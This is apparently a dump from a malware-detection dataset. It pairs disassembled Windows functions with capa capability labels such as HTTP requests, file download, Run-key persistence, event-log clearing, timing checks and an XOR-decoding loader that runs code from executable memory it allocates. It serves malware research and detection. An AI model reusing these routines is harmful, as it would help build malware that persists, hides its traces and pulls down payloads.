joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5042e0
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00407248
mov eax, dword [ebp - 8]
call fcn.00407248
mov eax, dword [ebp - 0xc]
call fcn.00407248
mov eax, dword [ebp + 0xc]
call fcn.00407248
xor eax, eax
push ebp
push 0x50444a
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
mov ebx, 0x14
mov dword [ebp - 0x28], 0x14
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x40], 2
mov eax, dword [ebp - 8]
call fcn.004072ec
mov esi, eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x34], 3
mov eax, 0x504460
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x18], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.004072ec
push eax
call sub.wininet.dll_InternetOpenW
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x504427
xor edx, edx
push ebp
push 0x504420
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
push 3
mov eax, dword [ebp + 0xc]
call fcn.004072ec
push eax
mov eax, dword [ebp - 0xc]
call fcn.004072ec
push eax
movzx eax, word [ebp + 8]
push eax
push esi
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetConnectW
test eax, eax
je 0x504409
push ebx
lea eax, [ebp - 0x28]
push eax
push 0x4b
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetSetOptionW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x504400
push 0
push 0
push 0x25
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetSetOptionW
test eax, eax
jne 0x504404
xor eax, eax
jmp 0x504406
mov al, 1
mov byte [ebp - 0xd], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x504427
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x504451
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00407258
lea eax, [ebp + 0xc]
call fcn.00407250
ret
Function at 0x504470
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00407248
mov eax, dword [ebp - 8]
call fcn.00407248
xor eax, eax
push ebp
push 0x50458a
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov ebx, 0x14
mov dword [ebp - 0x24], 0x14
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x3c], 4
mov eax, dword [ebp - 8]
call fcn.004072ec
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], 4
mov dword [ebp - 0x1c], 2
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.004072ec
push eax
call sub.wininet.dll_InternetOpenW
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x50456f
xor eax, eax
push ebp
push 0x504568
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x24]
push eax
push 0x4b
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetSetOptionW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x504548
push 0
push 0
push 0x25
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetSetOptionW
test eax, eax
jne 0x50454c
xor eax, eax
jmp 0x50454e
mov al, 1
mov byte [ebp - 9], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50456f
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x504591
lea eax, [ebp - 8]
mov edx, 2
call fcn.00407258
ret

Function at 0x50459c
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
mov byte [ebp - 1], 0
mov ebx, 0x14
mov dword [ebp - 0x1c], 0x14
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x34], 2
mov eax, 0x504664
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 3
mov eax, 0x504668
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 1
push 0x504664
call sub.wininet.dll_InternetOpenW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x50465b
xor eax, eax
push ebp
push 0x504654
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x1c]
push eax
push 0x4b
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionW
push 0
push 0
push 0x25
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionW
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50465b
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
movzx eax, byte [ebp - 1]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x505d68
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
xor edx, edx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x505f94
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x24], 0x105
mov eax, dword [ebp - 0x24]
call fcn.004042b0
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x505de9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetSystemDirectoryW
test eax, eax
je 0x505dd3
lea eax, [ebp - 4]
mov edx, dword [ebp - 0x14]
call fcn.0040740c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x505df0
mov eax, dword [ebp - 0x14]
call fcn.004042cc
ret

Function at 0x50b4dc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
mov bl, 2
lea eax, [ebp - 0x14]
xor ecx, ecx
mov edx, 0x14
call fcn.00404c18
push 0x14
lea eax, [ebp - 0x14]
push eax
push 0xd
push 0x400
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
je 0x50b517
cmp word [ebp - 0x14], 0x31
jne 0x50b515
mov bl, 1
jmp 0x50b517
xor ebx, ebx
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x50dabc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.004a5cf4
test al, al
je 0x50db7b
mov byte [ebp - 9], 0
xor ebx, ebx
call sub.kernel32.dll_GetTickCount_1
mov dword [ebp - 8], eax
jmp 0x50db59
cmp word [esi + 0x67a], 0
je 0x50db0d
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 9]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [esi + 0x67c]
call dword [esi + 0x678]
movzx eax, byte [esi + 0x670]
or al, byte [ebp - 9]
jne 0x50db30
cmp dword [ebp - 4], 0
jbe 0x50db2c
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
ja 0x50db30
xor ebx, ebx
jmp 0x50db32
mov bl, 1
test bl, bl
jne 0x50db7b
mov eax, dword [0x5256a4]
mov eax, dword [eax]
cmp byte [eax + 0xa4], 0
jne 0x50db7b
mov eax, dword [0x5256a4]
mov eax, dword [eax]
call fcn.004cc4ec
push 1
call sub.kernel32.dll_Sleep_1
test esi, esi
je 0x50db7b
cmp byte [esi + 0x610], 0
jne 0x50db7b
mov edx, 0xfffffdf3
mov eax, esi
call fcn.004d5a68
cmp eax, 4
jne 0x50daea
mov byte [esi + 0x670], 0
test bl, bl
sete al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x50db90
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov byte [ebp - 9], 0
xor ebx, ebx
call sub.kernel32.dll_GetTickCount_1
mov dword [ebp - 8], eax
jmp 0x50dc1c
cmp word [esi + 0x67a], 0
je 0x50dbd0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 9]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [esi + 0x67c]
call dword [esi + 0x678]
movzx eax, byte [esi + 0x670]
or al, byte [ebp - 9]
jne 0x50dbf3
cmp dword [ebp - 4], 0
jbe 0x50dbef
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
ja 0x50dbf3
xor ebx, ebx
jmp 0x50dbf5
mov bl, 1
test bl, bl
jne 0x50dc3a
mov eax, dword [0x5256a4]
mov eax, dword [eax]
cmp byte [eax + 0xa4], 0
jne 0x50dc3a
mov eax, dword [0x5256a4]
mov eax, dword [eax]
call fcn.004cc4ec
push 1
call sub.kernel32.dll_Sleep_1
cmp byte [esi + 0x610], 0
jne 0x50dc3a
mov edx, 0xd4
mov eax, esi
call fcn.004d5a54
test ax, ax
jne 0x50dbad
mov byte [esi + 0x670], 0
test bl, bl
sete al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x5155d8
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x51569a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00406d04
mov dl, 1
mov eax, dword [0x44d7c0]
call fcn.0044f91c
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x51567d
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000001
mov eax, dword [ebp - 4]
call fcn.0044fa04
xor ecx, ecx
mov edx, 0x5156b4
mov eax, dword [ebp - 4]
call fcn.0044fb4c
test al, al
je 0x51565f
lea ecx, [ebp - 8]
mov edx, 0x515744
mov eax, dword [ebp - 4]
call fcn.0045057c
lea eax, [ebp - 8]
mov edx, 0x51575c
call fcn.0040765c
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004074c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x515684
mov eax, dword [ebp - 4]
call fcn.0044f9d4
mov eax, dword [ebp - 4]
call fcn.00405378
ret
Function at 0x5174f4
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 6
push 0
push 0
dec ecx
jne 0x5174fd
push ecx
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00407248
mov eax, dword [ebp - 8]
call fcn.00407248
xor eax, eax
push ebp
push 0x51770d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
mov eax, dword [ebp - 4]
mov edx, dword [0x525754]
mov edx, dword [edx]
call fcn.00407920
je 0x5176a8
xor eax, eax
push ebp
push 0x5176a1
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xe], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 4]
call fcn.004074c4
mov edx, dword [ebp - 0x18]
mov ecx, 0x517724
mov eax, ebx
call fcn.00516264
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.004074b0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 0xc]
call fcn.004074c4
mov edx, dword [ebp - 0x24]
mov ecx, 0x517724
mov eax, ebx
call fcn.00516264
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
call fcn.004074b0
mov edx, dword [ebp - 0x1c]
mov eax, 0x517740
call fcn.0041adb0
mov esi, eax
test esi, esi
jle 0x5175e5
lea eax, [ebp - 0x28]
push eax
mov ecx, esi
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00407988
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0xc]
mov edx, 0x517750
call fcn.0040771c
cmp word [ebx + 0x37a], 0
je 0x517634
lea edx, [ebp - 0x30]
mov eax, ebx
call fcn.0049c9c8
mov edx, dword [ebp - 0x30]
lea eax, [ebp - 0x2c]
call fcn.004074c4
mov eax, dword [ebp - 0x2c]
push eax
lea eax, [ebp - 0xe]
push eax
push 0
lea eax, [ebp - 0x34]
call fcn.005155d8
lea eax, [ebp - 0x34]
mov edx, 0x517764
call fcn.00406f40
mov ecx, dword [ebp - 0x34]
mov edx, ebx
mov eax, dword [ebx + 0x37c]
call dword [ebx + 0x378]
cmp byte [ebp - 0xe], 0
jne 0x517693
xor eax, eax
push ebp
push 0x517685
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004072ec
push eax
lea eax, [ebp - 0x38]
mov ecx, 0x517788
mov edx, dword [ebp - 0xc]
call fcn.0040771c
mov eax, dword [ebp - 0x38]
call fcn.004072ec
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileW
test eax, eax
sete byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x517693
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5176a8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x517714
lea eax, [ebp - 0x38]
call fcn.00407250
lea eax, [ebp - 0x34]
call fcn.00406d04
lea eax, [ebp - 0x30]
call fcn.00407250
lea eax, [ebp - 0x2c]
call fcn.00406d04
lea eax, [ebp - 0x28]
call fcn.00407250
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00406d1c
lea eax, [ebp - 0x1c]
call fcn.00407250
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00406d1c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00407258
ret
Function at 0x518ec4
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
xor edx, edx
test byte [eax + 0x3c4], 1
je 0x518eda
or edx, 0x10000000
jmp 0x518ee0
or edx, 0x20000000
test byte [eax + 0x3c4], 2
je 0x518ef1
or edx, 0x40000000
jmp 0x518ef7
or edx, 0x80000000
test byte [eax + 0x3c4], 4
je 0x518f05
or edx, 1
jmp 0x518f08
or edx, 1
test byte [eax + 0x3c4], 8
je 0x518f16
or edx, 2
jmp 0x518f19
or edx, 2
test byte [eax + 0x3c4], 0x10
je 0x518f27
or edx, 4
jmp 0x518f2a
or edx, 4
test byte [eax + 0x3c4], 0x20
je 0x518f38
or edx, 6
jmp 0x518f3b
or edx, 6
test byte [eax + 0x3c4], 0x40
je 0x518f49
or edx, 8
jmp 0x518f4c
or edx, 8
push edx
mov eax, dword [eax + 0x2b0]
push eax
call sub.shlwapi.dll_SHAutoComplete
pop ebp
ret
Function at 0x401a02
Capabilities:
Access the windows event log
Clear file content
Clear windows event logs
Get common file path
Get keyboard layout

Disassembly:
sub esp, 0x800
push esi
push edi
xor esi, esi
xor edi, edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp edi, 0x45be795
jg 0x401a28
inc edi
cmp edi, 0x323bbf1
jl 0x401a0e
cmp dword [0x207e9a4], 0x400
jne 0x401a67
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
call fcn.00401fb2
call fcn.00401e61
push esi
call fcn.004021a4
pop ecx
pop ecx
xor edi, edi
cmp edi, 0xd036
jge 0x401a78
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp edi, 0xd2ced2
jg 0x401a9e
inc edi
cmp edi, 0x263ff
jl 0x401a69
mov eax, dword [0x431d14]
mov dword [0x207e9a4], eax
call fcn.00401776
mov edi, 0x3078f
cmp dword [0x207e9a4], 0x51f
jne 0x401aca
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x401ab2
pop edi
xor eax, eax
pop esi
add esp, 0x800
ret 0x10

Function at 0x404434
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40b338]
jne 0x40443e
repz ret
jmp fcn.004055dd
Function at 0x4045a9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40b338]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040381a
and dword [ebp - 0x14], 0
cmp dword [0x43c810], 0
mov dword [ebp - 0x18], eax
jne 0x40465c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404704
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404704
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x43c810], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x43c814], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x43c818], eax
call edi
push eax
call esi
mov dword [0x43c820], eax
test eax, eax
je 0x40465c
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x43c81c], eax
mov eax, dword [0x43c81c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4046b5
cmp dword [0x43c820], ecx
je 0x4046b5
push eax
call esi
push dword [0x43c820]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4046b5
test ebx, ebx
je 0x4046b5
call edi
test eax, eax
je 0x4046ac
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4046ac
test byte [ebp - 8], 1
jne 0x4046b5
or dword [ebp + 0x10], 0x200000
jmp 0x4046e8
mov eax, dword [0x43c814]
cmp eax, dword [ebp - 0x18]
je 0x4046e8
push eax
call esi
test eax, eax
je 0x4046e8
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4046e8
mov eax, dword [0x43c818]
cmp eax, dword [ebp - 0x18]
je 0x4046e8
push eax
call esi
test eax, eax
je 0x4046e8
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43c810]
call esi
test eax, eax
je 0x404704
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404706
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404434
leave
ret
Function at 0x900e460
Capabilities:
Get common file path

Disassembly:
push 0x224
mov eax, 0x90cf2a5
call fcn.09006dd9
cmp byte [ebp + 0x10], 0
mov edi, dword [ebp + 8]
push 0x1a
pop esi
push 0x2b
pop eax
cmove esi, eax
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
mov eax, esi
or eax, 0x8000
cmp byte [ebp + 0xc], bl
push ebx
push ebx
cmovne esi, eax
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x900e4bc
xor al, al
jmp 0x900e50c
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.0900e8b2
push dword [ebp + 0xc]
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], ebx
push str.Adobe
call fcn.0900f2c5
test al, al
je 0x900e4ff
lea eax, [ebp - 0x230]
mov ecx, edi
push eax
call fcn.0907af86
mov ecx, edi
call fcn.09011cd1
mov bl, al
lea ecx, [ebp - 0x230]
call fcn.0907af86
mov al, bl
call fcn.09006f96
ret

Function at 0x9011cd1
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 8
jb 0x9011cd9
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x9011ce8
xor al, al
ret
shr eax, 4
and al, 1
ret

Function at 0x901e790
Capabilities:
Hash data with md5

Disassembly:
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov byte [ecx + 0x58], 0
ret
Function at 0x90582d8
Capabilities:
Get memory capacity

Disassembly:
push 0x28
mov eax, 0x90d2348
call fcn.0900620a
mov esi, ecx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x20
push eax
call dword [sym.imp.kernel32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x24]
xor edx, edx
sub eax, dword [ebp - 0x20]
sub eax, dword [esi + 8]
sbb edx, dword [esi + 0xc]
js 0x9058343
jg 0x905830d
test eax, eax
jb 0x9058343
mov ecx, dword [esi + 4]
imul edi, ecx, 3
test edx, edx
jg 0x9058343
jl 0x905831d
cmp eax, edi
ja 0x9058343
cmp eax, ecx
jbe 0x9058337
and dword [ebp - 4], 0
sub eax, ecx
mov ecx, dword [esi]
push eax
call fcn.0907af86
jmp 0x9058343
jae 0x9058343
sub ecx, eax
push ecx
mov ecx, dword [esi]
call fcn.0907af86
call fcn.09006fcf
ret
Function at 0x9079b47
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x148
mov eax, 0x90d3869
call fcn.09006dd9
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x14c]
push eax
xor ebx, ebx
mov esi, 0x20019
push esi
push ebx
push str.SOFTWARE
push 0x80000002
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x144], ebx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0x140], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x9079ba6
mov dword [ebp - 0x14c], ebx
jmp 0x9079d25
lea eax, [ebp - 0x148]
push eax
push esi
push ebx
push str.Adobe
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x9079bcf
mov dword [ebp - 0x148], ebx
jmp 0x9079d25
lea eax, [ebp - 0x144]
push eax
push esi
push ebx
push str.Color
push dword [ebp - 0x148]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x9079bf8
mov dword [ebp - 0x144], ebx
jmp 0x9079d25
lea eax, [ebp - 0x13c]
push eax
push esi
push ebx
push str.Monitor
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x9079c21
mov dword [ebp - 0x13c], ebx
jmp 0x9079d25
lea eax, [ebp - 0x150]
mov dword [ebp - 0x150], 0x104
push eax
lea eax, [ebp - 0x120]
mov esi, ebx
push eax
lea eax, [ebp - 0x154]
push eax
push ebx
push str.Primary_Monitor
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x9079c73
cmp dword [ebp - 0x154], 4
jne 0x9079c73
mov esi, dword [ebp - 0x120]
cmp esi, 0x3e7
ja 0x9079d25
push esi
push str.Monitor_u
lea eax, [ebp - 0x1c]
push 0xb
push eax
call fcn.0907af86
add esp, 0x10
lea eax, [ebp - 0x140]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x9079cb3
mov dword [ebp - 0x140], ebx
jmp 0x9079d3a
lea eax, [ebp - 0x150]
mov dword [ebp - 0x150], 0x104
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x154]
push eax
push ebx
push str.Monitor_Profile
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x9079d25
cmp dword [ebp - 0x154], 1
jne 0x9079d25
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x138]
call fcn.0901904e
lea eax, [ebp - 0x138]
mov dword [ebp - 4], ebx
push eax
mov ecx, edi
call fcn.0907af86
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x138]
call fcn.0907af86
mov bl, 1
cmp dword [ebp - 0x140], 0
je 0x9079d3a
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x13c], 0
je 0x9079d4f
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x144], 0
je 0x9079d64
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x148], 0
je 0x9079d79
push dword [ebp - 0x148]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x14c], 0
je 0x9079d8e
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.09006f96
ret
Function at 0x907af86
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x907af95
pop dword [ebp - 0x4c]
mov eax, 0x907af95
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x257c9d99
sub dword [ebp - 0x5c], 0xd72a584e
mov dword [ebp - 0x58], 0x21430465
sub dword [ebp - 0x58], 0xef0fb820
mov dword [ebp - 0x54], 0x15fccc9b
add dword [ebp - 0x54], 0x364f7793
mov dword [ebp - 0x50], 0xcef97455
add dword [ebp - 0x50], 0x31068bab
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x922f5672
add eax, 0x76de0a52
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xf36fedda
add dword [ebp - 0x5c], 0x81027b7c
mov dword [ebp - 0x58], 0x31ac9288
add dword [ebp - 0x58], 0xfbfceed
mov dword [ebp - 0x54], 0xf029463a
add dword [ebp - 0x54], 0x73462632
mov dword [ebp - 0x50], 0xd43090c7
sub dword [ebp - 0x50], 0xd43090c7
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x605ec72e
sub eax, 0x5751666e
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x79064
push 0
call eax
mov ecx, 0x23e5180c
add ecx, 0xdc1b33da
xor esi, esi
add esi, eax
mov edi, 0x9125c00
add edi, dword [ebp - 0x4c]
mov edx, 0xfe838453
sub edx, 0x2dc9ce41
mov ebx, dword [edi]
mov dword [ebp - 0xc], 0xcd6f5b22
xor ebx, edx
sub dword [ebp - 0x24], edi
mov dword [esi], ebx
add dword [ebp - 4], 0x29ac495b
add esi, 0x229b0022
add esi, 0xdd64ffe2
add edi, 0xea97ba2a
sub edi, 0xea97ba26
loop 0x907b0ae
add eax, 0x1226b
mov ebx, eax
add eax, 0x175fc0f7
sub eax, 0x175fc0f2
mov ecx, 0xfd3f0ca2
sub ecx, 0xf43f0ca2
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret